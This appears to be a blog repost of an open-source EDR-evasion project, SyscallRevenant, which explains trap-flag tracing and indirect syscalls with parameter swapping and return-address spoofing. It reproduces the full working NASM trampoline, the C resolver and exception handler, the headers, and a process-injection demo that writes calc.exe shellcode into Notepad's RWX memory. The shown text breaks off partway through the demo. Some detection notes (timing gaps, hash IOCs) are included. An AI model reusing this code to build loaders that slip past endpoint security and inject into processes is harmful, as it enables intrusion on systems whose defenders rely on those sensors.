core-jmp core-jmpdeath of core jump

SyscallRevenant: Clean Indirect Syscalls with Trap-Flag Tracing

Clean indirect syscalls on Windows x64. It single-steps a hooked ntdll stub with the CPU trap flag to learn the live System Service Number and the syscall opcode, then jumps to that opcode with different arguments and a spoofed return address. The public proof of concept injects a calc.exe launcher into Notepad.

oxfemale October 19, 2026 31 min read 66 reads
Export PDF
SyscallRevenant: Clean Indirect Syscalls with Trap-Flag Tracing
Original text: “SyscallRevenant” — si13nt (GitHub: SilentisVox), MIT License, 2026. Code and figures below are reproduced with attribution. The tree stays on GitHub.
SyscallRevenant project illustration
Surpassing EDRs & AVs. Source: original article (assets/revenant.jpg).

Executive Summary

Most EDR user-mode sensors sit on the first bytes of an Nt* export. A program lands there, the vendor logs the arguments, a score gets updated, and then the real stub is allowed to run. Hell’s Gate tried to skip that prologue. Indirect syscalls tried to jump at the syscall gadget inside ntdll so the origin still looked legitimate. SyscallRevenant, published by si13nt (GitHub SilentisVox, MIT, 2026), does something ruder: it walks into the hook on purpose, single-steps until RIP sits on 0x0F05, copies the System Service Number out of EAX, and leaves without entering the kernel. A moment later it jumps straight at that opcode with a different argument list and a return address borrowed from the first visit.

si13nt already names the leftover. SysEnter, SysExit, and a stack walk can look almost ordinary. The Query Performance Counter stamps do not. The public proof of concept still does the oldest demo in the book — remote calc.exe into Notepad — so anyone with Sysmon 8/10/1 will hear it. The interesting part is the two-pass trampoline, not the payload. The README and the source disagree on a few names (AsmRevenant.asm versus Revenant.asm, REAL_RTN versus RRTN). That is worth keeping in your head while you read. Authorized machines only; the repo says so first.

The chute behind ntdll

A Win32 call is theatre. CreateRemoteThread becomes NtCreateThreadEx somewhere under kernelbase, and the last honest bytes in user mode are a tiny stub: mov r10, rcx, mov eax, <SSN>, syscall, ret. The extra move exists because syscall overwrites RCX with the return RIP; the kernel still wants the first argument in R10. That two-byte opcode, 0x0F05 on x64, is the chute into ntoskrnl.

EDR patches the start of the interesting exports. Sometimes a relative jump, sometimes ff 25, sometimes a vendor detour that looks like nothing Microsoft shipped. From then on every polite caller is photographed. Arguments, maybe a stack, maybe a behavioral blob. The hook tails back into the original stub so the kernel request still happens. The whole game for the last five years has been: can you make the kernel request without giving that camera a useful picture.

A post office mail slot and a side service door
ntdll is the official slot. The later jump lands on the opcode itself. Source: original article extras.

Hell’s Gate read the SSN out of a clean prologue and issued syscall from attacker memory. Halo’s Gate and Tartarus’ Gate walked neighbouring exports when the prologue was already a jump. SysWhispers sorted Zw* by address and treated the index as the number. Indirect stubs improved the photograph by executing the opcode inside ntdll’s .text, which satisfies the cheap “did this syscall come from ntdll?” check. Revenant keeps that property and adds a dress rehearsal. The hook is entered. It is just entered with junk.

The public tree

The repo is SilentisVox/SyscallRevenant. LICENSE is MIT, copyright 2026 si13nt. Same handle has DoomSyscalls, which already talked about clean indirect syscalls and RIP spoofing off addresses inside ntdll. Revenant’s extra move is the trap-flag walk plus parameter replacement on the second pass. The art under the title is captioned “Surpassing EDRs & AVs.”

SyscallRevenant is a new method of performing clean indirect syscalls. The main component resolves System Service Numbers (SSNs) and syscall instruction addresses dynamically. This is done by enabling the trap flag during execution. The secondary component is tampering via parameter replacement before a syscall. This combination is designed to bypass userland hooks during the subsequent syscall invocation while substituting the initially presented parameters.

README.md, SilentisVox/SyscallRevenant

The disclaimer is in the README and it is the engagement rule: educational and testing only, no machines you do not own or have written permission to touch, no talking to hosts you are not authorized to use. There is also a one-line thank you to Ava, left as published.

Preamble

Indirect syscalls, in the README’s wording, execute a syscall instruction that already lives in trusted userland. Find the bytes, jump to them. A tracing session can show you the return address sitting immediately after the opcode. That is the entire classic trick, and it is also why a lot of early direct-syscall loaders started getting burned: the opcode was in the wrong image.

Hooks break the lookup. Once ntdll is patched, reading the first bytes for an SSN is a coin toss, and skipping the export entirely is itself a signal. si13nt’s observation is the one that actually matters: entering the hook is good for the thread’s score. Seeing the function entry and seeing the kernel operation are two different facts. RevenantSyscalls is a bet on that gap.

A user-mode hook fires when RIP lands on the export. It has no built-in reason to believe the registers twenty instructions later are the same ones it logged, especially if someone single-steps out before the opcode and comes back with a new register file. Kernel ETW-TI and stack walks try to close that bind. The leftover si13nt points at is time. QPC stamps that a clean stub would never produce.

How it works

Two parts. First, resolve the export in the ntdll that is already loaded, then trap-walk it if you still need the SSN and the opcode address. Second, jump at the saved information with the real arguments.

PEB, exports, ROR7

x64 usermode can read the Process Environment Block off GS:[0x60]. LoaderData hangs off that, and the module list inside it has names and bases. Revenant walks InInitializationOrder, narrows each UNICODE name to ANSI, and hashes it. The hash is rotate-right-7 and add, ROR7_32, baked into _rvnt.h as constants for ntdll.dll and the Nt* / Rtl* names it cares about. No GetModuleHandle, no GetProcAddress.

Export parsing is the usual PE walk. e_lfanew at 0x3C, export directory RVA at +0x88 in the NT headers, then NumberOfNames / AddressOfFunctions / AddressOfNames / AddressOfNameOrdinals. The name index is only valid for names and name ordinals, which the README bothers to say because people still mix that up with the function RVA table. Hashing the name keeps the binary from carrying a convenient NtWriteVirtualMemory string.

Module walk, for people who want the offsets in one place: PEB at GS:[0x60], PEB_LDR_DATA at +0x18, InInitializationOrderModuleList at +0x30, base at +0x10 in the LDR entry, UNICODE_STRING around +0x38/+0x40. That path is old. It still works, and it still looks like shellcode because it is the same idea as shellcode.

Trap flag

A vectored exception handler sees exceptions from anywhere in the process. Turn on the trap flag and the next instruction raises EXCEPTION_SINGLE_STEP (0x80000004). The handler looks at RIP. If the two bytes there are not syscall, it puts TF back on and continues. If they are, it writes down the address and the number in RAX, then yanks execution so the rehearsal never hits the kernel.

A magnifying glass following ink footprints on tracing paper
One instruction, one step, until the opcode. Source: original article extras.

The hardware bit is EFLAGS.TF, mask 0x100. After the next instruction, the CPU raises #DB. In the VEH, ExceptionAddress and ContextRecord->Rip agree on the instruction that is about to run, which is why the LOOKUP=1 arm tests *(USHORT*)ExceptionAddress == 0x050F and diverts before the transition. Once a real syscall has already run, RIP sits on the following byte, so the LOOKUP=0 arm tests ExceptionAddress - 2. Non-single-step exceptions are declined with EXCEPTION_CONTINUE_SEARCH. Hits return EXCEPTION_CONTINUE_EXECUTION and, while hunting, re-arm TF with EFlags |= 0x100.

That storm is loud if anyone is counting. Honest programs almost never single-step their own ntdll. The handler is also installed with First = 1, so it runs ahead of later VEHs. On a box where the EDR uses vectored handling, that ordering is its own argument.

Example

Two debugger shots sit side by side in the README. Left is lookup. Right is execution. They are small PNGs; they are also the only runtime evidence the repo ships, so they stay here at full original size.

Debugger screenshot of the Syscall Lookup pass
Syscall Lookup. Source: original article (assets/example1.png).
Debugger screenshot of the Syscall Execution pass
Syscall Execution. Source: original article (assets/example2.png).

Each syscall has the initial information lookup. Hooks are entered to retrieve that information. Then an indirect jump is made to the opcode. There is an assoicated RIP spoof from the original entry — the README’s spelling. On re-entry the parameters have been swapped.

From ETW, the events you might see are SysEnter, SysExit, and StackWalk for either. If a vendor builds comparable events, they look nearly identical. The difference si13nt calls out is durastically different QPC timestamps. That word is in the README too. I am leaving both as published.

Two identical envelopes on a desk, one dummy and one swapped
The stamp lands on a dummy letter. The chute receives the other one. Source: original article extras.

QPC is what sits under QueryPerformanceCounter and under a lot of ETW headers. A clean NtAllocateVirtualMemory from kernelbase spends a handful of nanoseconds in the stub. A trap-flag walk spends one exception, one user-mode handler, and one context restore per instruction until 0x0F05. If your pipeline keeps both the hook-entry time and the SysEnter time, that gap is sitting there. If you only store stacks and argument hashes, you will miss it.

Technicals

The README says follow along in src/AsmRevenant.asm. The tree file is src/Revenant.asm. The teaching sketch uses REAL_RTN / FAKE_RTN. The assembled source uses RRTN / FRTN. Same swap.

README assembly sketch

        REAL_RTN: DQ 0
        FAKE_RTN: DQ 0

; If a syscall information lookup is in progress, the
; initial entry return address needs to be preserved.

        MOV     RAX,    QWORD PTR       [RSP]
        MOV     QWORD PTR [FAKE_RTN],   RAX

; Once the re-entry is made, the real return is saved,
; and the current is spoofed with initial return.

        MOV     RAX,    QWORD PTR       [RSP]
        MOV     QWORD PTR [REAL_RTN],   RAX
        MOV     RAX,    QWORD PTR [FAKE_RTN]
        MOV     QWORD PTR [RSP],        RAX

On lookup, the return address on the stack is the instruction after TRAP_SYSCALL(...). That value is kept. On the real shot, the true return (after RUN_SYSCALL(...)) is saved aside and the stack slot is overwritten with the lookup’s return. A later walk that starts at the gadget therefore sees the first, hooked call.

README handler sketch

Compressed C in the README uses teaching names: LookupInProgress, BreakPoint->Address, SyscallExit. The tree uses LOOKUP, ExceptionAddress, TRAMPOLINE_EXIT.

LONG VectoredExceptionHandler(EXCEPTION_POINTERS *BreakPoint) {
        ...
        // If a syscall information lookup is being made, the
        // syscall instruction address is saved, the SSN is
        // saved, and the return is rerouted.
        if (LookupInProgress && *(USHORT*)BreakPoint->Address == 0x050F) {
                SyscallInstruction = BreakPoint->Address;
                SyscallSSN = BreakPoint->Context->Rax;
                BreakPoint->Context->Rip = SyscallExit;
        }

        // When re-entered, if the previous instruction was
        // a syscall, reset return address, and exit.
        if (!LookupInProgress && *(USHORT*)(BreakPoint->Address - 2) == 0x050F) {
                *(VOID**)BreakPoint->Context->Rsp = REAL_RTN;
                BreakPoint->Context->Rip = SyscallExit;
        }
        ...
}

Two tests. If we are rehearsing and we have arrived at the opcode, record address and SSN, then leave. If the instruction we just finished was a syscall, put the real return back and leave the trampoline. Everything else is one more step.

The trampoline that actually links

Fifty-one lines of NASM. Globals ENTRY, SSN, and LOOKUP are shared with C. ENTRY starts as the Nt* export and is later overwritten with the opcode address. That overwrite is the whole trick.

BITS 64

section         .data
global          ENTRY
global          SSN
global          LOOKUP
global          RRTN

ENTRY:          DQ 0
SSN:            DD 0
LOOKUP:         DB 0

FRTN:           DQ 0
RRTN:           DQ 0

section         .text
global          TRAMPOLINE
global          INDIRECT
global          TRAMPOLINE_EXIT

TRAMPOLINE:
        TRAP:
                PUSHFQ
                OR      QWORD   [RSP],  0x100
                POPFQ

        INIT:
                MOV     AL,     BYTE    [LOOKUP]
                CMP     AL,     1
                JNZ     FAKE

        PRESERVE:
                MOV     RAX,    QWORD   [RSP]
                MOV     QWORD   [FRTN], RAX
                JMP     INDIRECT

        FAKE:
                MOV     RAX,    QWORD   [RSP]
                MOV     QWORD   [RRTN], RAX
                MOV     RAX,    QWORD   [FRTN]
                MOV     QWORD   [RSP],  RAX

        INDIRECT:
                MOV     R10,    RCX
                MOV     EAX,    DWORD   [REL SSN]
                JMP     QWORD   [REL ENTRY]

        TRAMPOLINE_EXIT:
                MOV     BYTE    [LOOKUP],       0
                RET
TRAMPOLINE_END:

TRAP sets TF with PUSHFQ / OR [RSP], 0x100 / POPFQ. INIT branches on LOOKUP. PRESERVE stashes [RSP] in FRTN. FAKE stashes the real return in RRTN and writes FRTN over the stack slot. INDIRECT does the ABI shuffle mov r10, rcx, loads EAX from SSN, and jmp [ENTRY]. TRAMPOLINE_EXIT clears LOOKUP and returns; the VEH points RIP here both to abort a walk and to finish a real syscall.

The jump is through a global, so after lookup it no longer hits the prologue. The execute pass never re-enters the hook. Skipping the official stub is also why mov r10, rcx has to live in this file: the kernel still wants that. SSN is a DD; C writes it from ContextRecord->Rax.

LOOKUP = 1   (rehearsal)
  SET_FUNCTION     hash-resolve Nt* export → ENTRY = function start
  TRAP_SYSCALL     TF on, save FRTN, jmp [ENTRY]   // walk the hooked stub
  VEH              single-step until RIP sits on 0x0F05
                   ENTRY := that RIP, SSN := RAX
                   RIP := TRAMPOLINE_EXIT          // kernel is never entered

LOOKUP = 0   (the real shot)
  RUN_SYSCALL      TF on, RRTN := real return, [RSP] := FRTN
                   jmp [ENTRY]                     // ENTRY is now the opcode
  kernel           real args in RCX/RDX/R8/R9 + stack
  VEH              after 0x0F05, put RRTN back, RIP := TRAMPOLINE_EXIT

Resolver, dummy arguments, VEH

Revenant.c is the rest of the machinery: a rdtsc-seeded mixer for dummy arguments, the PEB/export walker, the real handler, and thin wrappers for RtlAddVectoredExceptionHandler, RtlAllocateHeap, and RtlFreeHeap. Those three Rtl helpers go through SET_FUNCTION / RUN_FUNCTION as well, so even heap traffic avoids a direct import.

#include "_wn64.h"
#include "_rvnt.h"

UINT GetRandom() {
        UINT h = 0, l = 0, r = 0, i = 0;

        __asm__ volatile ("rdtsc" : "=a" (l), "=d" (h));

        for (UINT i = 0; i < (h % 255); i++) {
                r = ((r >> 13) | (r << 21));
                r = r * 0x2499CE2F;
                r = (r + ((l >> (8 * (i % 4))) & 0xFF));
                r = r ^ 0x39C5E493;
        }
        return r;
}

ULONG ROR7_32(CONST UCHAR *Name) {
        ULONG h = 0, i = 0;

        while (Name[i]) {
                h = (h >> 7) | (h << 25);
                h += Name[i++];
        }
        return h;
}

VOID InitializeModuleConfig(VOID *hModule, PMODULE_CONFIG pModuleConfig) {
        VOID    *pNtHeaders                                     = (VOID*)(((CHAR*)hModule) + *(ULONG*)(((CHAR*)hModule) + 0x3C));
        VOID    *pExportDirectory                               = (VOID*)(((CHAR*)hModule) + *(ULONG*)(((CHAR*)pNtHeaders) + 0x88));

        pModuleConfig->hModule                                  = hModule;
        pModuleConfig->NumberOfNames                            = *(ULONG*)(((CHAR*)pExportDirectory) + 0x18);
        pModuleConfig->AddressOfFunctions                       = (ULONG*)(((CHAR*)hModule) + *(ULONG*)(((CHAR*)pExportDirectory) + 0x1C));
        pModuleConfig->AddressOfNames                           = (ULONG*)(((CHAR*)hModule) + *(ULONG*)(((CHAR*)pExportDirectory) + 0x20));
        pModuleConfig->AddressOfNameOrdinals                    = (USHORT*)(((CHAR*)hModule) + *(ULONG*)(((CHAR*)pExportDirectory) + 0x24));
}

BOOL GetModule(ULONG ModuleHash, VOID **hModule) {
        VOID    *pProcessEnvironmentBlock                       = __readgsqword(0x60);
        VOID    *pLoaderData                                    = *(VOID**)(((CHAR*)pProcessEnvironmentBlock) + 0x18);
        VOID    *pInInitializationOrderModuleList               = (VOID*)(((CHAR*)pLoaderData) + 0x30);
        VOID    *pModuleList                                    = *(VOID**)pInInitializationOrderModuleList;

        while (pInInitializationOrderModuleList != pModuleList) {
                WCHAR   *Buffer                                 = (WCHAR*)*(VOID**)(((CHAR*)pModuleList) + 0x40);
                USHORT  MaximumLength                           = *(USHORT*)(((CHAR*)pModuleList) + 0x3A);
                UCHAR   ModuleNameA[MAX_PATH]                   = { 0 };

                for (ULONG i = 0; i < MaximumLength / 2; i++) {
                        ModuleNameA[i]                          = Buffer[i];
                }
                if (ROR7_32(ModuleNameA) != ModuleHash) {
                        pModuleList                             = *(VOID**)pModuleList;
                        continue;
                }
                *hModule                                        = *(VOID**)(((CHAR*)pModuleList) + 0x10);
                return TRUE;
                
        }
        *hModule                                                = NULL;
        return FALSE;
}

BOOL GetFunction(VOID *hModule, ULONG FunctionHash, VOID **pFunction) {
        MODULE_CONFIG ModuleConfig                              = { 0 };
        InitializeModuleConfig(hModule, &ModuleConfig);

        for (ULONG i = 0; i < ModuleConfig.NumberOfNames; i++) {
                ULONG FunctionNameRva                           = ModuleConfig.AddressOfNames[i];
                UCHAR *FunctionName                             = (UCHAR*)hModule + FunctionNameRva;

                if (ROR7_32(FunctionName) != FunctionHash) {
                        continue;
                }
                USHORT FunctionOrdinal                          = ModuleConfig.AddressOfNameOrdinals[i];
                ULONG FunctionRva                               = ModuleConfig.AddressOfFunctions[FunctionOrdinal];
                *pFunction                                      = (UCHAR*)hModule + FunctionRva;
                return TRUE;
        }
        *pFunction                                              = NULL;
        return FALSE;
}

BOOL ResolveFunction(ULONG ModuleHash, ULONG FunctionHash, VOID **pFunction) {
        VOID *hModule                                           = NULL;

        if (!GetModule(ModuleHash, &hModule))
                return FALSE;

        if (!GetFunction(hModule, FunctionHash, pFunction)) {
                *pFunction                                      = NULL;
                return FALSE;
        }
        return TRUE;
}

LONG VectoredExceptionHandler(EXCEPTION_POINTERS* pBreakPoint) {
        if (pBreakPoint->ExceptionRecord->ExceptionCode != EXCEPTION_SINGLE_STEP) {
                return EXCEPTION_CONTINUE_SEARCH;
        }
        switch (LOOKUP) {
        case 0:
                if (*(USHORT*)(pBreakPoint->ExceptionRecord->ExceptionAddress - 2) != 0x050F) {
                        pBreakPoint->ContextRecord->EFlags     |= 0x100;
                        break;
                }
                *(VOID**)pBreakPoint->ContextRecord->Rsp        = RRTN;
                pBreakPoint->ContextRecord->Rip                 = (ULONG_PTR)TRAMPOLINE_EXIT;
                break;
        case 1:
                if (*(USHORT*)pBreakPoint->ExceptionRecord->ExceptionAddress != 0x050F) {
                        pBreakPoint->ContextRecord->EFlags     |= 0x100;
                        break;
                }
                ENTRY                                           = (VOID*)pBreakPoint->ContextRecord->Rip;
                SSN                                             = (ULONG)pBreakPoint->ContextRecord->Rax;
                pBreakPoint->ContextRecord->Rip                 = (ULONG_PTR)TRAMPOLINE_EXIT;
                break;
        }
        return EXCEPTION_CONTINUE_EXECUTION;
}

VOID *RtlAddVectoredExceptionHandler(ULONG First, VOID *Handler) {
        SET_FUNCTION(
                ROR7_32__NTDLL,
                ROR7_32__RtlAddVectoredExceptionHandler,
                &ENTRY
        );
        return RUN_FUNCTION(
                First,
                Handler
        );
}

VOID *RtlAllocateHeap(VOID *hHeap, ULONG Flags, ULONG_PTR Size) {
        SET_FUNCTION(
                ROR7_32__NTDLL,
                ROR7_32__RtlAllocateHeap,
                &ENTRY
        );
        return RUN_FUNCTION(
                hHeap, 
                Flags, 
                Size
        );
}

BOOL RtlFreeHeap(VOID *hHeap, ULONG Flags, VOID *pAddress) {
        SET_FUNCTION(
                ROR7_32__NTDLL,
                ROR7_32__RtlFreeHeap,
                &ENTRY
        );
        return (BOOL)RUN_FUNCTION(
                hHeap,
                Flags,
                pAddress
        );
}

GetRandom is not a CSPRNG. It is a short mix of rotates, a multiply by 0x2499CE2F, and a xor with 0x39C5E493, looped off the high half of rdtsc. The hooked entry is supposed to see noise: the wrong process handle, the wrong size, the wrong buffer. That is the entire reason it exists.

A hunter grepping for NtCreateThreadEx inside this binary will be disappointed. A hunter who recognizes rotate-add loops will have a better morning. The constants are cheap IOCs for this exact build. Rehashing them is a one-line change, so treat them as a bonus, not the hunt.

Headers

_rvnt.h is the contract. The macros at the bottom are the user-facing API: resolve, run a function, trap-walk a syscall, run a syscall.

#include "_wn64.h"

#ifndef _RVNT_H
#define _RVNT_H

#define ROR7_32__NTDLL                          0x72CBE53A
#define ROR7_32__NtQuerySystemInformation       0xEFFC1CF8
#define ROR7_32__NtOpenProcess                  0x7B736553
#define ROR7_32__NtAllocateVirtualMemory        0x014044AE
#define ROR7_32__NtWriteVirtualMemory           0x1130814D
#define ROR7_32__NtCreateThreadEx               0x93EC9D3D
#define ROR7_32__NtExitProcess                  0x618D8E8F
#define ROR7_32__RtlAllocateHeap                0x8E17053D
#define ROR7_32__RtlFreeHeap                    0xC839B3B6
#define ROR7_32__RtlAddVectoredExceptionHandler 0x22AB404F

typedef struct _MODULE_CONFIG {
        VOID            *hModule;
        ULONG           NumberOfNames;
        ULONG           *AddressOfFunctions;
        ULONG           *AddressOfNames;
        USHORT          *AddressOfNameOrdinals;
} MODULE_CONFIG, * PMODULE_CONFIG;

BOOL 
NTAPI 
ResolveFunction(
        ULONG           ModuleHash, 
        ULONG           FunctionHash, 
        VOID            **pFunction
);

LONG 
NTAPI
VectoredExceptionHandler(
        EXCEPTION_POINTERS *pBreakPoint
);

PVOID
NTAPI
RtlAddVectoredExceptionHandler(
        ULONG           First, 
        VOID            *Handler
);

PVOID
NTAPI
RtlAllocateHeap(
        VOID            *hHeap, 
        ULONG           Flags,
        ULONG_PTR       Size
);

BOOL 
NTAPI
RtlFreeHeap(
        VOID            *hHeap, 
        ULONG           Flags, 
        VOID            *pAddress
);

VOID
NTAPI
ReturnAgent();

extern VOID *ENTRY;
extern ULONG SSN;
extern UCHAR LOOKUP;
extern VOID* RRTN;

extern VOID *TRAMPOLINE();
extern VOID *INDIRECT();
extern VOID TRAMPOLINE_EXIT();

#define SET_FUNCTION ResolveFunction
#define RUN_FUNCTION INDIRECT
#define TRAP_SYSCALL (LOOKUP = 1, TRAMPOLINE)
#define RUN_SYSCALL (LOOKUP = 0, TRAMPOLINE)


#endif // !_RVNT_H

Hashed names in the header: ntdll.dll, NtQuerySystemInformation, NtOpenProcess, NtAllocateVirtualMemory, NtWriteVirtualMemory, NtCreateThreadEx, NtExitProcess, RtlAllocateHeap, RtlFreeHeap, RtlAddVectoredExceptionHandler. That list is also a map of the demo: find a process, open it, map RWX, write bytes, create a thread, exit.

_wn64.h is a home-grown x64 type kit so the project never includes windows.h. The pieces that actually drive Revenant are the GS reader and the single-step constants. The rest is structure layout: UNICODE_STRING, OBJECT_ATTRIBUTES, SYSTEM_PROCESS_INFORMATION, CLIENT_ID, a hand-rolled CONTEXT with an XMM save area. Full file on GitHub as src/_wn64.h.

#define __readgsqword(o) ({VOID *v;__asm__ volatile("mov %%gs:%c1, %0":"=r"(v):"i"(o)); v;})
#define NtGetProcessHeap() ({VOID *v; v = *(VOID**)(((CHAR*)__readgsqword(0x60)) + 0x30); v;})

#define CONTEXT_DEBUG_REGISTERS       (0x100000 | 0x10)
#define EXCEPTION_SINGLE_STEP	      0x80000004
#define EXCEPTION_ILLEGAL_INSTRUCTION 0xC000001D
#define EXCEPTION_CONTINUE_SEARCH     0
#define EXCEPTION_CONTINUE_EXECUTION -1

The published demo

RevenantSyscalls.c is the thing the README is about. It registers the VEH, finds Notepad.exe via NtQuerySystemInformation class 5, opens it, allocates PAGE_EXECUTE_READWRITE in the remote process, writes a 162-byte calculator launcher, and starts a thread there. Every syscall is a pair: TRAP_SYSCALL with GetRandom() placeholders, then RUN_SYSCALL with the real arguments. This is the public educational demo. The tree stays on GitHub; this page is not a packaged implant.

In less ceremonial language: look for a running Notepad, ask Windows for a blank page inside it, copy a tiny program that only knows how to start Calculator, ask Windows to run that as a new thread. Those four asks have been watched since the XP era. The twist is the dress rehearsal. The hook sees junk. The kernel sees the real request.

#include "_wn64.h"
#include "_rvnt.h"

// Indirect Syscalls with SyscallRevenant.
//
// This is a proof-of-concept that combines trap-flag
// tracing, indirect syscalls, return address spoofing,
// and parameter tampering. It explores the gap between
// a function's entry and the operation that actually
// reaches the kernel.
// 
//             .dS$$SS$b,.
//          .d$S$$”    `‘”kb:,
//        .d7’  ‘S;.       “3i:
//       .?”   .7, “j,     d$i;.
//       ?i    7’ ; ,3$SssS$$I;.
//        ;,..d$ssS$S$$SSS$7., .
//       ;$Sii;;S.;,;,;.S7,. ., .
//       ‘,,’,i”’’ . ..‘d.,.,,..
//         k,.i’‘ ‘      “k.,,,.
//          k.;b          :i;,;’
//           ‘ki,          ki;i,
//            `ki.         I;ii.
//             `k;,.. ,., .iI:I;.
//               `ki:. .. ;7$;;’;.
//                 ‘k’;’;;7?;::.;.. 
//                   ‘aiI;;:.;..
// 

UCHAR REVENANT[] =
        "In  computing,  a  system  call  (syscall)  is  the"
        "programmatic  way  in   which  a  computer  program"
        "requests  a service  from  the operating system  on"
        "which   it   is    executed.   This   may   include"
        "hardware-related services (for example, accessing a"
        "hard disk drive or  accessing the device's camera),"
        "creation  and   execution  of  new  processes,  and"
        "communication with integral kernel services such as"
        "process   scheduling.  System   calls  provide   an"
        "essential  interface  between  a  process  and  the"
        "operating system. In most systems, system calls can"
        "only  be made from  userspace  processes,  while in"
        "some  systems,  OS/360 and successors  for example,"
        "privileged  system code  also issues system  calls.";

// "calc.exe" shellcode.

UCHAR SHELLCODE[162] = {
        0x40, 0x80, 0xE4, 0xF0, 0x41, 0xBB, 0x51, 0x2F, 0xA2,
        0x01, 0x6A, 0x00, 0x48, 0xB9, 0x63, 0x61, 0x6C, 0x63,
        0x2E, 0x65, 0x78, 0x65, 0x51, 0x48, 0x89, 0xE1, 0x48,
        0x83, 0xEC, 0x20, 0x48, 0x83, 0xFC, 0x07, 0xE8, 0x07,
        0x00, 0x00, 0x00, 0x41, 0xBB, 0x56, 0x13, 0xEC, 0x6D,
        0x51, 0x65, 0x48, 0x8B, 0x14, 0x25, 0x60, 0x00, 0x00,
        0x00, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x30,
        0x74, 0x06, 0x48, 0x8B, 0x12, 0x48, 0x8B, 0x12, 0x48,
        0x8B, 0x52, 0x10, 0x8B, 0x6A, 0x3C, 0x48, 0x01, 0xD5,
        0x8B, 0xAD, 0x88, 0x00, 0x00, 0x00, 0x48, 0x01, 0xD5,
        0x44, 0x8B, 0x45, 0x18, 0x44, 0x8B, 0x4D, 0x20, 0x49,
        0x01, 0xD1, 0x49, 0xFF, 0xC8, 0x43, 0x8B, 0x34, 0x81,
        0x48, 0x01, 0xD6, 0x48, 0x31, 0xC0, 0x4D, 0x31, 0xD2,
        0xAC, 0x3C, 0x00, 0x74, 0x09, 0x41, 0xC1, 0xCA, 0x07,
        0x41, 0x01, 0xC2, 0xEB, 0xF2, 0x45, 0x39, 0xDA, 0x75,
        0xDD, 0x8B, 0x45, 0x24, 0x48, 0x01, 0xD0, 0x66, 0x46,
        0x8B, 0x04, 0x40, 0x8B, 0x45, 0x1C, 0x48, 0x01, 0xD0,
        0x42, 0x8B, 0x04, 0x80, 0x48, 0x01, 0xD0, 0xFF, 0xE0
};

INT COMPARE(CONST WCHAR* U1, CONST WCHAR* U2) {
        if (!U1 || !U2)
                return -1;

        USHORT A = 1, B = 1;

        while ((A && B) && (A == B)) {
                A = *U1++;
                B = *U2++;
        }
        return A - B;
}

HANDLE GET_PROCESS_ID(WCHAR* PROCESS_NAME) {
        // 
        // Viewing processes requires a query of system
        // information. Parse the query, find the desired
        // process name, save the ID.
        // NtQuerySystemInformation requires 4 parameters.
        //
        // RCX                  => Query type.
        // RDX                  => Buffer to write too.
        // R8                   => Size of buffer.
        // R9                   => Expected size of buffer.
        //
        // You can leave buffer and size empty, but you
        // will need to supply a pointer to an 8 byte
        // field to receive the "expected size".
        // 
        ULONG SIZE;
        SYSTEM_PROCESS_INFORMATION* P_SYS_PROC_INFO;

        SET_FUNCTION(
                ROR7_32__NTDLL,
                ROR7_32__NtQuerySystemInformation,
                &ENTRY
        );
        TRAP_SYSCALL(
                GetRandom(),
                GetRandom(),
                GetRandom(),
                GetRandom()
        );
        if (NT_SUCCESS(RUN_SYSCALL(
                5,
                0,
                0,
                &SIZE
        )))
                return 0;

        if (!(P_SYS_PROC_INFO = (SYSTEM_PROCESS_INFORMATION*)RtlAllocateHeap(NtGetProcessHeap(), HEAP_ZERO_MEMORY, SIZE)))
                return 0;

        SET_FUNCTION(
                ROR7_32__NTDLL,
                ROR7_32__NtQuerySystemInformation,
                &ENTRY
        );
        TRAP_SYSCALL(
                GetRandom(),
                GetRandom(),
                GetRandom(),
                GetRandom()
        );
        if (!NT_SUCCESS(RUN_SYSCALL(
                5,
                P_SYS_PROC_INFO,
                SIZE,
                &SIZE
        )))
                return 0;

        while (COMPARE(PROCESS_NAME, P_SYS_PROC_INFO->ImageName.Buffer)) {
                if (!P_SYS_PROC_INFO->NextEntryOffset)
                        return 0;

                P_SYS_PROC_INFO = (SYSTEM_PROCESS_INFORMATION*)(((CHAR*)P_SYS_PROC_INFO) + P_SYS_PROC_INFO->NextEntryOffset);
        }
        return P_SYS_PROC_INFO->UniqueProcessId;
}

// 
// Windows ABI follows a standard calling convention.
//
// RCX                          => 1st parameter
// RDX                          => 2nd parameter
// R8                           => 3rd parameter
// R9                           => 4th parameter
// [RSP + 0x20]                 => 5th parameter
// [RSP + 0x28]                 => 6th parameter
// ...
// [RSP + 0x00 .. 0x18] Belong to the functions
// being called. This stack space is used to save
// any arguments that as may need be.
// 
VOID main() {
        RtlAddVectoredExceptionHandler(
                1,
                VectoredExceptionHandler
        );

        // 
        // NtOpenProcess requires 4 parameters.
        //
        // RCX                  => Pointer to handle.
        // RDX                  => Access mask.
        // R8                   => Pointer to Object Attributes
        // R9                   => Pointer to Client ID.
        // 
        HANDLE  PROCESS;
        HANDLE  THREAD;
        HANDLE  PROCESS_ID      = GET_PROCESS_ID(L"Notepad.exe");
        VOID* INJECT            = NULL;
        ULONG_PTR SIZE          = sizeof(SHELLCODE);

        OBJECT_ATTRIBUTES* P_OBJECT_ATTRIBUTES;
        CLIENT_ID* P_CLIENT_ID;

        if (!(P_OBJECT_ATTRIBUTES = (OBJECT_ATTRIBUTES*)RtlAllocateHeap(NtGetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(OBJECT_ATTRIBUTES))))
                goto END;

        if (!(P_CLIENT_ID = (CLIENT_ID*)RtlAllocateHeap(NtGetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(CLIENT_ID))))
                goto END;

        P_OBJECT_ATTRIBUTES->Length = sizeof(OBJECT_ATTRIBUTES);
        P_CLIENT_ID->UniqueProcess = PROCESS_ID;

        SET_FUNCTION(
                ROR7_32__NTDLL,
                ROR7_32__NtOpenProcess,
                &ENTRY
        );
        TRAP_SYSCALL(
                NULL,
                PROCESS_ALL_ACCESS,
                NULL,
                NULL
        );
        if (!NT_SUCCESS(RUN_SYSCALL(
                &PROCESS,
                PROCESS_ALL_ACCESS,
                P_OBJECT_ATTRIBUTES,
                P_CLIENT_ID
        )))
                goto END;

        // 
        // NtAllocateVirtualMemory requires 6 parameters.
        //
        // RCX                  => Process handle.
        // RDX                  => Pointer to address.
        // R8                   => Zero bits.
        // R9                   => Pointer to size.
        // [RSP + 0x20]         => Memory mode.
        // [RSP + 0x28]         => Page mode.
        //
        // An important note: when allocating memory, the
        // OS will allocate according to PAGE. The return
        // address will be a new one on the start of this
        // said PAGE. If the address is already know, you
        // must respecify the address when writing memory.
        // 
        SET_FUNCTION(
                ROR7_32__NTDLL,
                ROR7_32__NtAllocateVirtualMemory,
                &ENTRY
        );
